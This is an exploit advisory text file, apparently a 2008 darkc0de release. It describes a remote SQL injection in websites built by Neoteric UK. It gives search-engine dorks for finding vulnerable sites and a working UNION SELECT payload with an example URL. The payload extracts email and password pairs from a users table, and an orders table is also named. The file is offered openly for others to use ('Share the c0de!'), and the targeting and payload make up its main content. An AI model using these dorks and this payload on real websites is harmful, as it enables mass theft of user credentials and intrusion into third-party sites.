neotericuk-sql.txt

`################################################################   
# .___ __ _______ .___ #   
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #   
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #   
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #   
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #   
# \/ \/ \/ #   
# ___________ ______ _ __ #   
# _/ ___\_ __ \_/ __ \ \/ \/ / #   
# \ \___| | \/\ ___/\ / #   
# \___ >__| \___ >\/\_/ #   
# est.2007 \/ \/ forum.darkc0de.com #   
################################################################   
# -d3hydr8 - sinner_01 - baltazar - P47r1ck - C1c4Tr1Z - beenu #   
# -rsauron - letsgorun - K1u - DON - OutLawz - MAGE -JeTFyrE #   
#-r45c4l -Bond -Dapirates #   
################################################################   
#   
# Author: P47r1ck & Dapirates  
# Home : www.darkc0de.com   
#   
# Email : [email protected]  
#   
# Share the c0de!   
#   
################################################################   
#  
# Exploit: Remote SQL Injection in Neoteric UK Websites  
#  
# Soft.Site: http://www.neotericuk.co.uk/  
#  
# Dork:- inurl:index.php?option=categories  
#   
# Dork 2:- website design seo by Neoteric UK LTD  
#  
# SQL version 4.1.22   
#  
# POC: +AND+1=0+UNION+SELECT+ALL+1,concat(email,0x3a,pwd),3,4,5,6,7,8 ,9,10,11,12+from+users/*  
#  
# Tables users and orders  
#  
# Example:  
#  
# http://localhost/index.php?option=categories&category_id=13064+AND+1=0+UNION+SELECT+ALL+1,concat(email,0x3a,pwd),3,4,5,6,7,8 ,9,10,11,12+from+users/*   
#   
#  
#  
################################################################   
# Vuln Discovered 24/08/2008`